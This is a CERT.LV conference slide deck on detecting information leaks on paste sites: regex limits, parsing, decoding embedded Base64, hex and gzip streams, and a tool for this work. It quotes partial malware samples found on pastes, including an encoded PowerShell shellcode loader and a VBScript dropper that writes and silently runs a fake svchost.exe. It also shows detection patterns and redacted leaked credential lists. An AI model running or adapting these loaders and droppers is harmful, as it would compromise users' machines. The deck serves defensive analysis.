CERT.LV
Information Technologies Security Incident Response Institution

Co-financed by the Connecting Europe Facility of the European Union

Beyond paste monitoring

Deep information leak analysis

Jānis Džeriņš

TF-CSIRT 56, Tallinn, January 21, 2019

Outline

What are paste sites

- Many of us have heard of them (e.g., pastebin.com)
- Used to share text content, usually code

What's the big deal?

- On many sites pastes can be created "anonymously"
  - As observers we cannot know the communicating parties
- Non-text content is shared by means of encoding
- It is not uncommon that sensitive data is shared on these sites

Outline

- Most (all?) detectors based on regular expressions
- Data feed not included (but CIRCL.LU can provide one)
- https://github.com/CIRCL/AIL-framework

PasteHunter

- Uses Yara for detection
- Rules based on static strings and regular expressions
- https://github.com/kevthehermit/PasteHunter

Hacked emails

- https://hacked-emails.com
- Monitors paste sites
- But also has leaks from "Dark Web"
- Leaks can also be marked as "verified" by the maintainer

Breach Insider

- A commercial offering
- Detect a data breach using realistic pseudo-users (canaries)
- https://breachinsider.com
- https://hn.svelte.technology/item/15836426

Discovered from a paste:

```
# Development test for Breach Insider #
#    https://breachinsider.com        #

1. johnnybravo@breachcanary.com:password12345
2. somegiberish@example.com:password12345
Lorem ipsum dolor sit amet, consectetuer adipiscing elit...
```

Leak Hawk

- Paste monitoring tool developed as a master's thesis
- Emphasis on false positive avoidance
- Uses "machine learning" (supervised) for classification
- http://dilum.bandara.lk/wp-content/uploads/2017/04/Thesis-Nalinda-Herath.pdf
- https://github.com/isuru-c/LeakHawk

Dump Monitor

- Twitter bot
- https://twitter.com/dumpmon
- Activity seems bursty

Have I been pwned?

- https://haveibeenpwned.com/
- Sources leaks from Dump Monitor
- Visitors can check their credentials
- Has an "API"
  - Used by many tools and organizations

Outline

Overview

Pros:

- A Domain Specific Language (DSL) for string matching
- Relatively easy to write/read
- Simple subset the same across implementations
- Good for high $\frac{result}{effort}$ ratio (i.e., low-hanging fruit)

Cons:

- One-dimensional
- Easy to get wrong
- Finite automatons over limited alphabets
- Usefulness degrades rapidly

Limited alphabets

- Permissive credential rule (unused)

```
\b([@a-zA-Z0-9._-]{5,})(:|\|)(.*)\b
                         ↑   ↑
       passphrase separator   alphabet
    (colon or vertical bar)
```

Limited alphabets

- Permissive credential rule (unused)

```
\b([@a-zA-Z0-9._-]{5,})(:|\|)(.*)\b
                        ↑   ↑
       passphrase separator   alphabet
    (colon or vertical bar)
```

- Restrictive credential rule (no symbols, latin-based)

```
[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}:[a-zA-Z0-9_-]+
                                            ↑      ↑
                          passphrase separator  and alphabet
```

Limited alphabets

- Permissive credential rule (unused)

```
\b([@a-zA-Z0-9._-]{5,})(:|\|)(.*)\b
                        ↑   ↑
       passphrase separator   alphabet
    (colon or vertical bar)
```

- Restrictive credential rule (no symbols, latin-based)

```
[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}:[a-zA-Z0-9_-]+
                                            ↑      ↑
                          passphrase separator  and alphabet
```

- Not all usernames are email addresses

Not emails

```
tinkertoolleveling@1.10.2-1.0.1.DEV
D_2566UHx@2296.wav
big_279@2x.png
postfix@-.service
ShowWindow@user32.dll
app@com.ultrasoft.runtracker.apk
this@expand.layoutParams.height
0..@rules.length
endexp-@pokemon.exp
curve25519-sha256@libssh.org
en@quot.po
```

Text encodings (character sets)

- The same character can be encoded differently in source document
- Not really a fault of regular expressions
- Can't apply regular expressions on raw input
  - Bytes are not characters!
  - Consider ISO-8859-* vs. UTF-8 vs. UTF-16 (big/little-endian)

Context (un)awareness (1)

```
<item>hxxp://marc.info/?l=bugtraq&amp;m=109778914829901&amp;w=2</item>
<item>hxxp://marc.info/?l=bugtraq&amp;m=109810854031673&amp;w=2</item>
                                        ^^^^^^^^^^^^^^^
                                  valid 15-digit card number
```

Context (un)awareness (2)

```
... 1360 1432 1568 1776  768 771 781 798 -hsync +vsync (47.7 kHz d)
... 1400 1488 1640 1880 1050 1052 1064 1082 +hsync +vsync (64.9 kHz d)
... 1360 1432 1568 1776  768 771 781 798 -hsync +vsync (47.7 kHz d)
    ^^^^^^^^^^^^^^^^^^
    valid 16-digit card number
```

Context (un)awareness (3)

```
sublist("598538796879851");Like("170594743025055");
Like("485981418139187");Like("623725484361182");
                              ^^^^^^^^^^^^^^^
                          valid 15-digit card number
```

Context (un)awareness (4)

- It is obvious to us that those were not credit card numbers

Context (un)awareness (4)

- It is obvious to us that those were not credit card numbers
- How do we transfer that knowledge into software we write?

```
7375 626c 6973 7428 2235 3938 3533 3837  sublist("5985387
3936 3837 3938 3531 2229 3b4c 696b 6528  96879851");Like(
2231 3730 3539 3437 3433 3032 3530 3535  "170594743025055
2229 3b0a 4c69 6b65 2822 3438 3539 3831  ");.Like("485981
3431 3831 3339 3138 3722 293b 4c69 6b65  418139187");Like
2822 3632 3337 3235 3438 3433 3631 3138  ("62372548436118
3222 293b                                2");
```

Outline

Beyond regular expressions

We want [partial] parsers instead of regular expressions

- Domain part of emails is a domain
  - All domain name rules/constraints apply
  - Existence of an MX record useful, but not necessary
- URLs (URIs) have a strict syntax
  - Credentials (limited alphabet) are "embedded"
  - Special rules for "host" part (can be IPv4/IPv6 address)
- Programming language syntax awareness
  - Variables vs. values
  - Strings (quoted)

Transcoding

This is how the "Free Online PHP Obfuscator" obfuscates the string `base64_decode`:

```
\x62\x61\x73\x65\x36\64\x5f\144\145\x63\157\144\x65
```

- Writing a regular expression is infeasible
- Can be solved with a single transcoding pass
  - Regular expressions can be used to detect this kind of obfuscation

Another example:

```
www.yourbank.com/redirect?url=www.%6D%79%62%61%6E%6B.com
www.yourbank.com/redirect?url=%77%77%77%2E%6D%79bank.%63%6F%6D
www.yourbank.com/redirect?url=%77%77%77%2E%6D%79%62%61%6E%6B%2E%63%6F%6D
                              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                                  www.mybank.com
```

Context matters

- @-sign does not imply email
  - Valid TLDs as file extensions (`com`, `data`, `java`, `org`, `zip`, …)
  - Common in code (e.g., Ruby, TEX)
- "Named entities" can help
  - `gmail.com`, `yahoo.com`, etc.
  - `"My Documents"`, `/usr/bin`, etc.
- A few heuristics can be very useful
  - Version numbers have digit-components
  - Most file extensions are not Top Level Domains
  - Domain names have restrictions (cannot be expressed by REs)

Table recognition (1)

```
xxx@hotmail.com: Dajmen01
xxx@aol.com: mager123
xxx@live.co.uk: rooney99
xxx@hotmail.com: newacct1
xxx@hotmail.com: express2006
xxx@gmail.com: fettarsch
xxx@me.com: mittelos
xxx@hotmail.it: otherside
xxx@gmail.com: jovovich
xxx@o2.pl: jasna1
xxx@gmail.com: puszek123
xxx@gmail.com: dymek1
xxx@yahoo.com: kevin11
xxx@o2.pl: iskierka
...
```

Table recognition (2)

- Matching must be done across lines
- Mainly "separator" Separated Values
  - CSV but not limited to Comma or Tab
- Solves non-email username problem
- Mostly solves passphrase alphabet problem
- Flexibility in guessing passphrase column

Table recognition (3)

```
Test data generated by 98823c9ce7f73d22c0e84a43ab6f6ed3

id;email;ip_address;IssuingNetwork,CardNumber
1;xxx@mail.ru;159.220.37.72;American Express,378224694872631
2;xxx@newyorker.com;65.144.180.249;American Express,347070693132966
3;xxx@soup.io;44.148.223.78;American Express,343819645475913
4;xxx@artisteer.com;146.10.34.192;American Express,342945811107641
5;xxx@jugem.jp;90.27.54.179;American Express,370482317323972
6;xxx@marriott.com;45.201.45.230;American Express,340564853789257
7;xxx@usatoday.com;61.218.96.193;American Express,343771708551587
8;xxx@dedecms.com;5.56.218.122;American Express,343216117028561
9;xxx@dmoz.org;238.104.252.67;American Express,373725309022789
10;xxx@shutterfly.com;35.9.17.46;American Express,373003780083773
...
```

Record recognition (1)

```
URL: https://idmsa.apple.com/appleauth/auth/signin
USR: xxxxxxxxxxxxxxx@icloud.com
PWD: Ls1234567

URL: https://www.netflix.com/getStarted
USR: xxxxxxxx@tafmail.com
PWD: Ls1234567

...

URL: https://www.netflix.com/Login
USR:  xxxxxxxxxxxxxxxxxxxxxx@integrasjc.com.br
PWD: LS1234567
```

Record recognition (2)

- Similar to tables
  - Matching must be done across lines
  - Records may have varying number of fields (lines)

Embedded "streams"

- Usually Base64-encoded
- Sometimes "obfuscated"
  - Hex/binary
  - ROT13
  - Reverse
  - Compressed (e.g., gzip)
- We can automatically detect and extract them

Embedded stream detection

- Usually a limited "alphabet"
  - Letters, numbers, / and + for Base64
  - `1` and `0` for binary
  - `0-9`, `a-f` (case insensitive) for hex
  - Similar for other encodings (Base32, Base58, Ascii85)
- If decoding succeeds the stream can be processed recursively

Complications

- Content split into lines
  - Checksum dumps
  - String escaping (\n instead of literal newlines)
- Plain text (with no spaces) is a subset of Base64
  - For instance a list of file paths
  - Sometimes decodes OK
  - Must employ other heuristics (e.g., entropy analysis, named entities)

Example 1

Consider the following text document (pastebin.com/yqjcn1cx):

```
 Copy c:\ & cls & \
powershell -nop -win Hidden -noni -enc \
JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBb.. \
..sCAAJABjAG0AZAAgACQAZwBxACIAOwB9AA== \
& c:\ & cls
Copy Paste
```

- Decoding the Base64-encoded part we get a UTF-16LE encoded string
- Converting the string reveals a PowerShell script
- Contains interesting strings like `kernel32.dll`, `VirtualAlloc`, `DllImport`, `CreateThread`

Example 1, cont.

Also contains a piece of shellcode, encoded as a sequence of 281 hexadecimal bytes:

```
0xfc,0xe8,0x82,0x00,...,0xc6,0x75,0xee,0xc3
```

Example 1, cont.

- This sequence can also be easily detected and decoded
- It is also possible to disassemble the code (and do flow analysis/fingerprinting)

```
0x00000000 cld
0x00000001 call 0x88
0x00000006 pushal
0x00000007 mov ebp, esp
0x00000009 xor eax, eax
0x0000000b mov edx, dword fs:[eax + 0x30]
0x0000000f mov edx, dword [edx + 0xc]
0x00000012 mov edx, dword [edx + 0x14]
0x00000015 mov esi, dword [edx + 0x28]
0x00000018 movzx ecx, word [edx + 0x26]
0x0000001c xor edi, edi
0x0000001e lodsb al, byte [esi]
0x0000001f cmp al, 0x61
...
```

Example 2

```
...
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A900003000000...6E48656C70570000000000000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
```

Example 2, cont.

Source pastebin.com/zTJ5Hrhz

SHA1 `b4fa74a6f4dab3a7ba702b6c8c129f889db32ca6`

VirusTotal information:

SHA-256	`fd6c69c345f1e3292...b03ced7482f2320`
File name	`desktoplayer.exe`
File size	55 KB
Last analysis	2019-01-17 13:11:04 UTC
Community score	-1304

Outline

Work in progress

2019-01-17 12:51:29 - 5.8K : 33094265 : pastebin.com/38UhZzfS : raw

BASE64-BLOB: 6

```
certificate-authority-data: LS0tLS1CRUdJTiBDRVJU…SUZJQ0FURS0tLS0tCg==
client-certificate-data: LS0tLS1CRUdJTiBDRVJU…VElGSUNBVEUtLS0tLQo=
client-key-data: LS0tLS1CRUdJTiBSU0Eg…VkFURSBLRVktLS0tLQo=
MIIEpQIBAAKCAQEA3cRX…AWEIbCTcMYo5MGrnRz8=
MIID1jCCAr6gAwIBAgIJ…f7sjrcvIoOsV2QkE1bo=
MIIC+TCCAeGgAwIBAgIJ…ML3a425xt+T6F6QTM6NM
```

2019-01-17 12:50:57 - 5.8K : 33094237 : pastebin.com/dCQi4sAi : raw

BASE64-BLOB: 2

```
aQBmACgAWwBJAG4AdABQ…AHIAdAAoACQAcwApADsA
[Convert]::FromBase64String(''H4sIAChdQFwCA7VWbW/i….3OAnx38B0T7VZ9IJAAA=''))),[IO.Compression.Compress
```

WINDOWS-INTERNAL: 7 (5 unique)

```
return $vJQn.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.I
ct IntPtr), ($vJQn.GetMethod('GetModuleHandle')).Invoke($null, @($iF)))), $
= [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection
ime.InteropServices.Marshal]::GetDelegateForFunctionPointer((cX kernel32.dll WaitForSingl
ctionPointer((cX kernel32.dll VirtualAlloc), (v6k @([IntPtr], [UInt32],
```

Work in progress

```
% pastelyser analyze yqjcn1cx dCQi4sAi
yqjcn1cx
└─ 57..6720 BASE64-BLOB: dden -noni -enc JAAxACAAPQAgACcAJABjACAA…ZAAgACQAZwBxACIAOwB9AA== & c:\ & cls
   └─ 0..4995 ENCODED-STRING: UTF-16LE, $1 = '$c = ''[…& powershell $cmd $gq";}
      ├─ 68..79 WINDOWS-INTERNAL: c extern IntPtr VirtualAlloc(IntPtr lpAddres
      ├─ 553..1957 HEX-BLOB: ]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x0…0x29,0xc6,0x75,0xee,0xc3;$size = 0x1000;
      └─ 2028..2039 WINDOWS-INTERNAL: .Length};$x=$w::VirtualAlloc(0,0x1000,$size,

dCQi4sAi
└─ 0..5927 BASE64-BLOB: aQBmACgAWwBJAG4AdABQAHQA…dABhAHIAdAAoACQAcwApADsA
   └─ 0..4445 ENCODED-STRING: UTF-16LE, if([IntPtr]::S…ics.Process]::Start($s);
      └─ 361..2004 BASE64-BLOB: mBase64String(''H4sIAChdQFwCA7VWbW/iOBD+…yNNu3OAnx38B0T7VZ9IJAAA=''))),[IO.Compre
         └─ 0..1231 COMPRESSED-BLOB: GZIP, 1232 -> 2514 bytes
            └─ 0..2513 ENCODED-STRING: UTF-8, function cX {...P…0xffffffff) | Out-Null..
               ├─ 263..276 WINDOWS-INTERNAL: vJQn.GetMethod('GetProcAddress', [Type[]]@([Sy
               ├─ 495..509 WINDOWS-INTERNAL: vJQn.GetMethod('GetModuleHandle')).Invoke($null
               ├─ 731..751 WINDOWS-INTERNAL: ::CurrentDomain.DefineDynamicAssembly((New-Object Sys
               ├─ 1392..1771 BASE64-BLOB: omBase64String("/OiCAAAAYInlNcBki1Awi1IM…U1doAtnIX//VAcNpxnXuww==")
               ├─ 1829..1857 WINDOWS-INTERNAL: vices.Marshal]::GetDelegateForFunctionPointer((cX kernel32.dl
               ├─ 1876..1887 WINDOWS-INTERNAL: cX kernel32.dll VirtualAlloc), (v6k @([IntPt
               ├─ 2134..2162 WINDOWS-INTERNAL: vices.Marshal]::GetDelegateForFunctionPointer((cX kernel32.dl
               └─ 2381..2409 WINDOWS-INTERNAL: vices.Marshal]::GetDelegateForFunctionPointer((cX kernel32.dl
```

Current status

- Basic extractors (RE + smarts)
  - Email
  - Credential
  - Bank card number
  - Domain
  - IP address

Current status

- Basic extractors (RE + smarts)
  - Email
  - Credential
  - Bank card number
  - Domain
  - IP address
- Basic MISP integration

Current status

- Basic extractors (RE + smarts)
  - Email
  - Credential
  - Bank card number
  - Domain
  - IP address
- Basic MISP integration
- Encoded content extractors (rudimentary)
  - Base64
  - Hexadecimal
  - Binary

Current status

- Basic extractors (RE + smarts)
  - Email
  - Credential
  - Bank card number
  - Domain
  - IP address
- Basic MISP integration
- Encoded content extractors (rudimentary)
  - Base64
  - Hexadecimal
  - Binary
- Transcoders
  - UTF-8, UTF-16 (rudimentary)
  - gzip, zlib

Future work

- Usability
  - Configuration
  - One-shot (command-line) interface
  - REST server
- Integration with external tools (Yara, Cuckoo)
- Improve extractors
- Structure detection
  - Tables
  - Records
- Noise reduction

Future work

- Usability
  - Configuration
  - One-shot (command-line) interface
  - REST server
- Integration with external tools (Yara, Cuckoo)
- Improve extractors
- Structure detection
  - Tables
  - Records
- Noise reduction
- Dark Web

Future work

- Usability
  - Configuration
  - One-shot (command-line) interface
  - REST server
- Integration with external tools (Yara, Cuckoo)
- Improve extractors
- Structure detection
  - Tables
  - Records
- Noise reduction
- Dark Web
- Blokchain?

Outline

We're doing it wrong

- Detecting potential artefacts is simple
  - If they are on the surface level
- Extracting artefacts is a completely different business
- Instead of creating work for us, make computers do the work!
- Tools should be able to interact with each other

Take-away

- Use "obscure" symbols in your passwords

  `, : ; ' " @ | / \ ? SPACE TAB`
- Hint: bank card numbers do not contain obscure symbols
- See https://xkcd.com/1963/ on picking user names

Thank you!

janis.dzerins@cert.lv
https://www.cert.lv
certlv certlv